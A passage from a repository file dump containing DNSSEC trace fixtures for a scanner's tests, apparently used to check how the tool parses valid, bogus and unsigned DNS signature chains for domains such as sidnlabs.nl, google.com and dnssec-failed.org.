AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: org.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAexZJ/1wfyNCxNPrTZizaG7UlibGhP+AyogR6bqjptKweEgE4gD8GxRQJkt+Fn5pCoNqzmm1ZnEoKqvm93uOYtbKkYQDGH+W69J66MSKpgIyS+mT/4iaXn+lpb5o99l/sf7lHMa975O/fqN6aPUll4hUbN2T1LHv6HzQuQCtNRJA8jHGwX5q0NMmh2Z+yaG6B9cISerje9l5L+ID2ydJ6zXquYteoIUvX2xzqnXCdHPSvD+oL6R/weW+tztdFS1hok/1z3tn5NzmcaOLll9nXniCozEpLFEGPswyvtphWgCYhI8bBTqhUsIwfIwLSBQTEg2oCX7sS5CbXg44OqwhIW8= ;{id = 26974 (ksk), size = 2048b}\n\tTrusted key: org.\t3600\tIN\tDNSKEY\t256 3 8 AwEAAa+oGr6axy8Mt1NFEA5KoU9ZkKtD3U0A8XQwRwjoBtcrq0QP3I/GsZi3QMpKowUmLFkDVtqwbkY4qgzX/RQ7cZZVDO6ZqHorqtp0p50nlsY+Puq1phi5lroAMJfAQjXuh5Fp+sXtBQ/8ztwzJYpzwsIG88d+7vBK8uvAyJPyeMEd ;{id = 55149 (zsk), size = 1024b}\n\tTrusted key: org.\t3600\tIN\tDNSKEY\t256 3 8 AwEAAa4FGs7OxYymiv/SIJcOjqjEBmUwW9tHJiKdAfQo4lwNrFUxZQGeOT30wDI8i1/GeeQg22VBSqQVZqe4qGUHbnT0XGlLIDKrBRXOARMymLwFPZszDiWf0jNAbFE+vF3OJbxWD2z95LOfC5QpLw7pYBNLcGSJZvjjnAeuq3/taU/j ;{id = 3093 (zsk), size = 1024b}\nKey is now trusted!\n[T] dnssec-failed.org. 3600 IN DS 106 5 1 4f219dce274f820ea81ea1150638dabe21eb27fc\ndnssec-failed.org. 3600 IN DS 106 5 2 ae3424c9b171af3b202203767e5703426130d76ef6847175f2eed355f86ef1ce\n;; Domain: dnssec-failed.org.\n;; Signature ok but no chain to a trusted key or ds record\n[S] dnssec-failed.org. 3600 IN DNSKEY 257 3 5 ;{id = 29521 (ksk), size = 2048b}\ndnssec-failed.org. 3600 IN DNSKEY 256 3 5 ;{id = 44973 (zsk), size = 1024b}\n[S] dnssec-failed.org.\t300\tIN\tA\t96.99.227.255\n;;[S] self sig OK; [B] bogus; [T] trusted; [U] unsigned\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dnssec-status-line-not-last-line.txt",
    "content": ";; Number of trusted keys: 2\n;; Domain: .\n[T] . 172800 IN DNSKEY 257 3 8 ;{id = 20326 (ksk), size = 2048b}\n. 172800 IN DNSKEY 257 3 8 ;{id = 38696 (ksk), size = 2048b}\n. 172800 IN DNSKEY 256 3 8 ;{id = 53148 (zsk), size = 2048b}\n. 172800 IN DNSKEY 256 3 8 ;{id = 46441 (zsk), size = 2048b}\nChecking if signing key is trusted:\nNew key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAbauxLSFZ+KSWi2cT6TJbm3d+GIVqb2N1XnDjMsRme0b6JlGp/cvwmM5CaJ5LQ7tG1r7LuTHjYZadtbNk2nZmclq9r4KInS48ungoAZb0gJXVw8IvBTBb1YWQmiBqD285pJuORwTii7DF++nNJJk3i55HJt9SmBI7m7t8nvx7OOY/w0inxg3fLH2uY0SKO8he4FGwMc4Ubiab8N8Yhyhh+FkKKdD/+oAcuGF75PjlSXO460B4MlNLlEcjDEzIsKauRYx4YVgSaNomGhMMFblmXRzgW+1R6ywvm5mC9+omlyyizZp2GJfPwGMezuKSGDndO6CYYEc5/lsRhvBYsGjdPM= ;{id = 46441 (zsk), size = 2048b}\n\tTrusted key: .\t3600\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t3600\tIN\tDNSKEY\t257 3 8 AwEAAa96jeuknZlaeSrvyAJj6ZHv28hhOKkx3rLGXVaC6rXTsDc449/cidltpkyGwCJNnOAlFNKF2jBosZBU5eeHspaQWOmOElZsjICMQMC3aeHbGiShvZsx4wMYSjH8e7Vrhbu6irwCzVBApESjbUdpWWmEnhathWu1jo+siFUiRAAxm9qyJNg/wOZqqzL/dL/q8PkcRU5oUKEpUge71M3ej2/7CPqpdVwuMoTvoB+ZOT4YeGyxMvHmbrxlFzGOHOijtzN+u1TQNatX2XBuzZNQ1K+s2CXkPIZo7s6JgZyvaBevYtxPvYLw4z9mR7K2vaF18UYH9Z9GNUUeayffKC73PYc= ;{id = 38696 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAa96jeuknZlaeSrvyAJj6ZHv28hhOKkx3rLGXVaC6rXTsDc449/cidltpkyGwCJNnOAlFNKF2jBosZBU5eeHspaQWOmOElZsjICMQMC3aeHbGiShvZsx4wMYSjH8e7Vrhbu6irwCzVBApESjbUdpWWmEnhathWu1jo+siFUiRAAxm9qyJNg/wOZqqzL/dL/q8PkcRU5oUKEpUge71M3ej2/7CPqpdVwuMoTvoB+ZOT4YeGyxMvHmbrxlFzGOHOijtzN+u1TQNatX2XBuzZNQ1K+s2CXkPIZo7s6JgZyvaBevYtxPvYLw4z9mR7K2vaF18UYH9Z9GNUUeayffKC73PYc= ;{id = 38696 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAbEbGCpGTDrcZTWqWWE72nphyshpRcILdzCVlBGU9Ln1Fui9kkseUOP+g5GLUeVFKdTloeRTA9+EYiQdXgWXmXmuW/nGxZjAikluF/O9NzLVrr5iZnth2xu+F48nrJlAgWWiMNau54NI5sZ3iVQfhFsq2pZmf43RauRPniYMShOLO7EBWWXr5glDSgZGS9fSm6xHwwF+g8D4m8oanjvdCBNxXzSEKS31ibxjLifTfvwCg3y4XXcNW9U6Nu3JmoKUdxqpPPIkBvVQbIz4UO2FwaR13uXC03ALP1Yx2QNSS4SZlcIMtAftQR9wtCiuPWQnFv4jkzWqlhp1Lmf7bcoL9yk= ;{id = 53148 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAbauxLSFZ+KSWi2cT6TJbm3d+GIVqb2N1XnDjMsRme0b6JlGp/cvwmM5CaJ5LQ7tG1r7LuTHjYZadtbNk2nZmclq9r4KInS48ungoAZb0gJXVw8IvBTBb1YWQmiBqD285pJuORwTii7DF++nNJJk3i55HJt9SmBI7m7t8nvx7OOY/w0inxg3fLH2uY0SKO8he4FGwMc4Ubiab8N8Yhyhh+FkKKdD/+oAcuGF75PjlSXO460B4MlNLlEcjDEzIsKauRYx4YVgSaNomGhMMFblmXRzgW+1R6ywvm5mC9+omlyyizZp2GJfPwGMezuKSGDndO6CYYEc5/lsRhvBYsGjdPM= ;{id = 46441 (zsk), size = 2048b}\nKey is now trusted!\n[T] nl. 86400 IN DS 17153 13 2 c5dfddc91e7532562a35f3c2cd30823894be08f20101f1abf45c8ab9739f3f49\n;; Domain: nl.\n[T] nl. 3600 IN DNSKEY 256 3 13 ;{id = 18814 (zsk), size = 256b}\nnl. 3600 IN DNSKEY 257 3 13 ;{id = 17153 (ksk), size = 256b}\nChecking if signing key is trusted:\nNew key: nl.\t3600\tIN\tDNSKEY\t256 3 13 W+y1b3nqtYmENUIz2smIvZwX4199q/6I+fxP/Uz8IubzKsHLj1UmTYi8rhwV/c2p/BSCjl3DLsZNB6XJ9tqrNQ== ;{id = 18814 (zsk), size = 256b}\n\tTrusted key: .\t3600\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t3600\tIN\tDNSKEY\t257 3 8 AwEAAa96jeuknZlaeSrvyAJj6ZHv28hhOKkx3rLGXVaC6rXTsDc449/cidltpkyGwCJNnOAlFNKF2jBosZBU5eeHspaQWOmOElZsjICMQMC3aeHbGiShvZsx4wMYSjH8e7Vrhbu6irwCzVBApESjbUdpWWmEnhathWu1jo+siFUiRAAxm9qyJNg/wOZqqzL/dL/q8PkcRU5oUKEpUge71M3ej2/7CPqpdVwuMoTvoB+ZOT4YeGyxMvHmbrxlFzGOHOijtzN+u1TQNatX2XBuzZNQ1K+s2CXkPIZo7s6JgZyvaBevYtxPvYLw4z9mR7K2vaF18UYH9Z9GNUUeayffKC73PYc= ;{id = 38696 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAa96jeuknZlaeSrvyAJj6ZHv28hhOKkx3rLGXVaC6rXTsDc449/cidltpkyGwCJNnOAlFNKF2jBosZBU5eeHspaQWOmOElZsjICMQMC3aeHbGiShvZsx4wMYSjH8e7Vrhbu6irwCzVBApESjbUdpWWmEnhathWu1jo+siFUiRAAxm9qyJNg/wOZqqzL/dL/q8PkcRU5oUKEpUge71M3ej2/7CPqpdVwuMoTvoB+ZOT4YeGyxMvHmbrxlFzGOHOijtzN+u1TQNatX2XBuzZNQ1K+s2CXkPIZo7s6JgZyvaBevYtxPvYLw4z9mR7K2vaF18UYH9Z9GNUUeayffKC73PYc= ;{id = 38696 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAbEbGCpGTDrcZTWqWWE72nphyshpRcILdzCVlBGU9Ln1Fui9kkseUOP+g5GLUeVFKdTloeRTA9+EYiQdXgWXmXmuW/nGxZjAikluF/O9NzLVrr5iZnth2xu+F48nrJlAgWWiMNau54NI5sZ3iVQfhFsq2pZmf43RauRPniYMShOLO7EBWWXr5glDSgZGS9fSm6xHwwF+g8D4m8oanjvdCBNxXzSEKS31ibxjLifTfvwCg3y4XXcNW9U6Nu3JmoKUdxqpPPIkBvVQbIz4UO2FwaR13uXC03ALP1Yx2QNSS4SZlcIMtAftQR9wtCiuPWQnFv4jkzWqlhp1Lmf7bcoL9yk= ;{id = 53148 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAbauxLSFZ+KSWi2cT6TJbm3d+GIVqb2N1XnDjMsRme0b6JlGp/cvwmM5CaJ5LQ7tG1r7LuTHjYZadtbNk2nZmclq9r4KInS48ungoAZb0gJXVw8IvBTBb1YWQmiBqD285pJuORwTii7DF++nNJJk3i55HJt9SmBI7m7t8nvx7OOY/w0inxg3fLH2uY0SKO8he4FGwMc4Ubiab8N8Yhyhh+FkKKdD/+oAcuGF75PjlSXO460B4MlNLlEcjDEzIsKauRYx4YVgSaNomGhMMFblmXRzgW+1R6ywvm5mC9+omlyyizZp2GJfPwGMezuKSGDndO6CYYEc5/lsRhvBYsGjdPM= ;{id = 46441 (zsk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 W+y1b3nqtYmENUIz2smIvZwX4199q/6I+fxP/Uz8IubzKsHLj1UmTYi8rhwV/c2p/BSCjl3DLsZNB6XJ9tqrNQ== ;{id = 18814 (zsk), size = 256b}\nKey is now trusted!\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n[T] platformrijksoverheid.nl. 3600 IN DS 17028 13 2 c19909d177c60005198cb55c593fec0c30916a9e271b948a8996539cd2dc281a\n;; Domain: platformrijksoverheid.nl.\n[T] platformrijksoverheid.nl. 86400 IN DNSKEY 257 3 13 ;{id = 17028 (ksk), size = 256b}\n[T] Existence denied: ps4.platformrijksoverheid.nl. DS\n;; No ds record for delegation\n;; Domain: ps4.platformrijksoverheid.nl.\n;; No DNSKEY record found for ps4.platformrijksoverheid.nl.\n[T] ps4.platformrijksoverheid.nl.\t14400\tIN\tA\t178.22.85.192\nps4.platformrijksoverheid.nl.\t14400\tIN\tA\t178.22.85.191\nps4.platformrijksoverheid.nl.\t14400\tIN\tA\t178.22.85.193\nps4.platformrijksoverheid.nl.\t14400\tIN\tA\t178.22.85.194\n;;[S] self sig OK; [B] bogus; [T] trusted; [U] unsigned\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dnssec-unsigned.txt",
    "content": ";; Number of trusted keys: 1\n;; Domain: .\n[T] . 172800 IN DNSKEY 257 3 8 ;{id = 20326 (ksk), size = 2048b}\n. 172800 IN DNSKEY 256 3 8 ;{id = 5613 (zsk), size = 2048b}\nChecking if signing key is trusted:\nNew key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\nKey is now trusted!\n[T] com. 86400 IN DS 19718 13 2 8acbb0cd28f41250a80a491389424d341522d946b0da0c0291f2d3d771d7805a\n;; Domain: com.\n[T] com. 86400 IN DNSKEY 257 3 13 ;{id = 19718 (ksk), size = 256b}\ncom. 86400 IN DNSKEY 256 3 13 ;{id = 956 (zsk), size = 256b}\n[T] Existence denied: google.com. DS\n;; No ds record for delegation\n;; Domain: google.com.\n;; No DNSKEY record found for google.com.\n[U] google.com.\t300\tIN\tA\t142.251.36.46\n;;[S] self sig OK; [B] bogus; [T] trusted; [U] unsigned\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dnssec-valid.txt",
    "content": ";; Number of trusted keys: 1\n;; Domain: .\n[T] . 172800 IN DNSKEY 256 3 8 ;{id = 5613 (zsk), size = 2048b}\n. 172800 IN DNSKEY 257 3 8 ;{id = 20326 (ksk), size = 2048b}\nChecking if signing key is trusted:\nNew key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\nKey is now trusted!\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n[T] nl. 86400 IN DS 17153 13 2 c5dfddc91e7532562a35f3c2cd30823894be08f20101f1abf45c8ab9739f3f49\n;; Domain: nl.\n[T] nl. 3600 IN DNSKEY 256 3 13 ;{id = 63436 (zsk), size = 256b}\nnl. 3600 IN DNSKEY 257 3 13 ;{id = 17153 (ksk), size = 256b}\nChecking if signing key is trusted:\nNew key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\nKey is now trusted!\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n[T] sidnlabs.nl. 3600 IN DS 11261 13 2 cc791ba77b860ed3a08f3e4cd0810c78420af2c9c8471e27757603dd1939665f\n;; Domain: sidnlabs.nl.\n[T] sidnlabs.nl. 3600 IN DNSKEY 257 3 13 ;{id = 11261 (ksk), size = 256b}\nChecking if signing key is trusted:\nNew key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 